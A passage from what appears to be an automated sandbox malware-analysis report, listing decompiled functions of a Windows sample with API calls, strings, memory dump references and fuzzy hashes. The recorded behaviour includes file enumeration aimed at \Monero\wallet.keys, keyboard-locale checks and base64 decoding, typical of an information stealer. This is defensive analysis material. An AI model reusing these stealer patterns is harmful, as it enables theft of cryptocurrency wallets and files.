\*.*, xrefs: 0069DE26

Memory Dump Source

Source File: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: 9497d0647876501bc0566cce13a547f30c024979cf84abd0ba8f1f4b557210cf
Instruction ID: 97e306da83b2f053052211ba3f9f5359877d8f625f41c78f706a5c3ef73b0f61
Opcode Fuzzy Hash: 9497d0647876501bc0566cce13a547f30c024979cf84abd0ba8f1f4b557210cf
Instruction Fuzzy Hash: 23F1BF718211189ADB99FBA0CC95EEE737ABF15300F9141DEA40B62091EF346F8ACF55

Function 0069DA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 006AA740: lstrcpy.KERNEL32(006B0E17,00000000), ref: 006AA788

Part of subcall function 006AA920: lstrcpy.KERNEL32(00000000,?), ref: 006AA972
Part of subcall function 006AA920: lstrcat.KERNEL32(00000000), ref: 006AA982

Part of subcall function 006AA9B0: lstrlen.KERNEL32(?,012691F0,?,\Monero\wallet.keys,006B0E17), ref: 006AA9C5
Part of subcall function 006AA9B0: lstrcpy.KERNEL32(00000000), ref: 006AAA04
Part of subcall function 006AA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006AAA12

Part of subcall function 006AA8A0: lstrcpy.KERNEL32(?,006B0E17), ref: 006AA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,006B14B0,006B0C2A), ref: 0069DAEB
StrCmpCA.SHLWAPI(?,006B14B4), ref: 0069DB33
StrCmpCA.SHLWAPI(?,006B14B8), ref: 0069DB49
FindNextFileA.KERNEL32(000000FF,?), ref: 0069DDCC
FindClose.KERNEL32(000000FF), ref: 0069DDDE

Memory Dump Source

Source File: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: e5f900633ed296fc8c68f260862ee12e4a1fe4b99b600d06030c1680d2063ecf
Instruction ID: 7bd7b2892b88e5096c86f20271a7a03531cb09ccee7981c95898d67505d543d7
Opcode Fuzzy Hash: e5f900633ed296fc8c68f260862ee12e4a1fe4b99b600d06030c1680d2063ecf
Instruction Fuzzy Hash: 729131B69001049BCF94FBB0DC569EE737EAB85300F40866DA90A96581EF34DF09CF96

Function 006A7B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 006AA740: lstrcpy.KERNEL32(006B0E17,00000000), ref: 006AA788

GetKeyboardLayoutList.USER32(00000000,00000000,006B05AF), ref: 006A7BE1
LocalAlloc.KERNEL32(00000040,?), ref: 006A7BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 006A7C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 006A7C62
LocalFree.KERNEL32(00000000), ref: 006A7D22

Strings

/ , xrefs: 006A7C7F

Memory Dump Source

Source File: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 486f66aa988d463a4beb118401144ac0a63dc29537c7a08a0b995883c6531686
Instruction ID: 9afe05209da1bbacd802bf43d1a79a7ef6d73c84d75ad9bf90d54c034276e93c
Opcode Fuzzy Hash: 486f66aa988d463a4beb118401144ac0a63dc29537c7a08a0b995883c6531686
Instruction Fuzzy Hash: A3417171941118AFDB64EB94DC99BEEB379FF45700F2042DAE40A62281DB342F85CFA5

Function 00A54879 Relevance: 10.4, Strings: 7, Instructions: 1670COMMON

Download Yara Rule

Strings

d_Pr, xrefs: 00A54EAD
zrnN, xrefs: 00A55BA7
Vmo, xrefs: 00A549D5
rW, xrefs: 00A55290
X%_y, xrefs: 00A559E8
`C>;, xrefs: 00A558B8
!.\~, xrefs: 00A551C3

Memory Dump Source

Source File: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID:
String ID: !.\~$Vmo$X%_y$`C>;$d_Pr$rW$zrnN
API String ID: 0-4162817629
Opcode ID: c5bd542d0c2430c20bea1ec1240cf8bb2be2378e55a0d8f390fb7c43d90f2704
Instruction ID: 26f6f0c4e5727713ad90eaa08112a1919768671472cb4125a76a5603025dc3cc
Opcode Fuzzy Hash: c5bd542d0c2430c20bea1ec1240cf8bb2be2378e55a0d8f390fb7c43d90f2704
Instruction Fuzzy Hash: 49B238F3A082109FE304AE2DEC8567ABBE9EFD4720F16853DEAC5C7344E93558058796

Function 00A5E8C7 Relevance: 10.3, Strings: 7, Instructions: 1549COMMON

Download Yara Rule

Strings

]{_U, xrefs: 00A5E9A3
+ tK, xrefs: 00A5EBC7
!%x7, xrefs: 00A5F5CE
C7o, xrefs: 00A5F333
?i, xrefs: 00A5EC85
C.kw, xrefs: 00A5EAED
,%^~, xrefs: 00A5FB89

Memory Dump Source

Source File: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID:
String ID: C7o$!%x7$+ tK$,%^~$?i$C.kw$]{_U
API String ID: 0-2684099373
Opcode ID: 83cec2cf1b0ad8538f8f38fd5b3a5d610bd2961765548482be28186ed2f8fd52
Instruction ID: d85d570fc3896478ad8f1aaef4f93ad57c4a2e2402120d6fdc826d6f6888baaf
Opcode Fuzzy Hash: 83cec2cf1b0ad8538f8f38fd5b3a5d610bd2961765548482be28186ed2f8fd52
Instruction Fuzzy Hash: 37B206F390C6009FE704AE29EC8567AFBE5EF94720F1A893DEAC487344E63558418797

Function 0069E430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 006AA740: lstrcpy.KERNEL32(006B0E17,00000000), ref: 006AA788

Part of subcall function 006AA920: lstrcpy.KERNEL32(00000000,?), ref: 006AA972
Part of subcall function 006AA920: lstrcat.KERNEL32(00000000), ref: 006AA982

Part of subcall function 006AA9B0: lstrlen.KERNEL32(?,012691F0,?,\Monero\wallet.keys,006B0E17), ref: 006AA9C5
Part of subcall function 006AA9B0: lstrcpy.KERNEL32(00000000), ref: 006AAA04
Part of subcall function 006AA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006AAA12

Part of subcall function 006AA8A0: lstrcpy.KERNEL32(?,006B0E17), ref: 006AA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,006B0D73), ref: 0069E4A2
StrCmpCA.SHLWAPI(?,006B14F8), ref: 0069E4F2
StrCmpCA.SHLWAPI(?,006B14FC), ref: 0069E508
FindNextFileA.KERNEL32(000000FF,?), ref: 0069EBDF

Strings

\*.*, xrefs: 0069E44D

Memory Dump Source

Source File: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: bd2b5ef18676113301338535fa1dbc55bccb37b262509f4f0ffca011adccbafa
Instruction ID: 38c0b8f63df206bb7b8ff050dd7aabd0d5b3e96f3f6650938df74a4af5fc57a0
Opcode Fuzzy Hash: bd2b5ef18676113301338535fa1dbc55bccb37b262509f4f0ffca011adccbafa
Instruction Fuzzy Hash: 651283719101149BDB94FBA0DC96EEE733AAF55300F4041AEB50B96091EF34AF49CF96

Function 00A5CF42 Relevance: 9.0, Strings: 6, Instructions: 1516COMMON

Download Yara Rule

Strings

6twY, xrefs: 00A5DD2D
^bVC, xrefs: 00A5CFC9
71no, xrefs: 00A5D621
B}, xrefs: 00A5DF20
lt[?, xrefs: 00A5D5C4
iH9?, xrefs: 00A5D338

Memory Dump Source

Source File: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 6twY$71no$B}$^bVC$iH9?$lt[?
API String ID: 0-2218641548
Opcode ID: 9f1b958df484b7e4d6beadf4e2e44357338513be9e1d13cb86a35f1f572aa15c
Instruction ID: d033f89aa3de6250cb69c686df94204e7b74490d4b88ef3787ba6845bdf917d7
Opcode Fuzzy Hash: 9f1b958df484b7e4d6beadf4e2e44357338513be9e1d13cb86a35f1f572aa15c
Instruction Fuzzy Hash: 16A205F390C204AFE308AF2DEC4567AB7E5EF94720F1A493DEAC583744EA3559108697

Function 00699AC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,Ni,00000000,00000000), ref: 00699AEF
LocalAlloc.KERNEL32(00000040,?,?,?,00694EEE,00000000,?), ref: 00699B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,Ni,00000000,00000000), ref: 00699B2A
LocalFree.KERNEL32(?,?,?,?,00694EEE,00000000,?), ref: 00699B3F

Strings

Ni, xrefs: 00699AD4, 00699AE1, 00699AF9, 00699B18, 00699AE4, 00699B1B

Memory Dump Source

Source File: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: Ni
API String ID: 4291131564-3198496747
Opcode ID: eb6a4721343d264f6d98f9c4ccae58de3d5a79b594e11595a6a6af99a5af1fe3
Instruction ID: f4e1168f5bc9028f53c60cdab7221c0d7ce12a954d783a6161080f66165f89bd
Opcode Fuzzy Hash: eb6a4721343d264f6d98f9c4ccae58de3d5a79b594e11595a6a6af99a5af1fe3
Instruction Fuzzy Hash: BF11A2B4241208AFEB14CF64DC95FAA77B9FB89700F208159FD159B394C7B6A901DBA0

Function 00A59A60 Relevance: 7.8, Strings: 5, Instructions: 1595COMMON

Download Yara Rule

Strings

3{m, xrefs: 00A5A07B
p&6^, xrefs: 00A5A4FE
%#}, xrefs: 00A5ABF3
^m , xrefs: 00A59C21
/fo, xrefs: 00A59D13

Memory Dump Source

Source File: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 3{m$%#}$/fo$^m $p&6^
API String ID: 0-3614866622
Opcode ID: 1fca989013caa10908abde9b6144a294baee3c4bbea00d3e67449c23ab5decae
Instruction ID: a539d833279f001be8f556a8cc3624d22db3ed4c582149d2fff0599d0f02dcc2
Opcode Fuzzy Hash: 1fca989013caa10908abde9b6144a294baee3c4bbea00d3e67449c23ab5decae
Instruction Fuzzy Hash: 92B229F3A0C2049FE304AE2DEC8567AF7E5EF94720F1A893DEAC4D3744E63558058696

Function 00A65310 Relevance: 7.8, Strings: 5, Instructions: 1571COMMON

Download Yara Rule

Strings

P[Mo, xrefs: 00A658F4
4Zov, xrefs: 00A65CF3
j!k{, xrefs: 00A65AA5
cq_o, xrefs: 00A660A6
_-K\, xrefs: 00A665A5

Memory Dump Source

Source File: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 4Zov$P[Mo$_-K\$cq_o$j!k{
API String ID: 0-3130016585
Opcode ID: 62f1905a5ec7ad5c46c77d2b300784e888646f11927c25ef5bec299d9d7a00e5
Instruction ID: d1161a9c2a922e1bde799cc1d46623a035b9b8fce8b3753e531750cbf8af772f
Opcode Fuzzy Hash: 62f1905a5ec7ad5c46c77d2b300784e888646f11927c25ef5bec299d9d7a00e5
Instruction Fuzzy Hash: 68A209F360C2049FE304AE2DEC8577AFBE9EB94720F16463DEAC4C3744E63598158696

Function 0069C820 Relevance: 7.6, APIs: 5, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 0069C871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0069C87C
lstrcat.KERNEL32(?,006B0B46), ref: 0069C943
lstrcat.KERNEL32(?,006B0B47), ref: 0069C957
lstrcat.KERNEL32(?,006B0B4E), ref: 0069C978

Memory Dump Source

Source File: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$BinaryCryptStringlstrlen
String ID:
API String ID: 189259977-0
Opcode ID: b8b5831338f7c6c668dd8b9beab452384c984cde623aee5ed88f1270ceabb08c
Instruction ID: cae9bfd4557a0a9be6fe2762204bc3899151e53975ef1c497ca8a5524e406097
Opcode Fuzzy Hash: b8b5831338f7c6c668dd8b9beab452384c984cde623aee5ed88f1270ceabb08c
Instruction Fuzzy Hash: 324192B5D0421ADFDB10DFA0DD89BFEB7B9BB48304F1042A9E509A7280D7709A84CF91

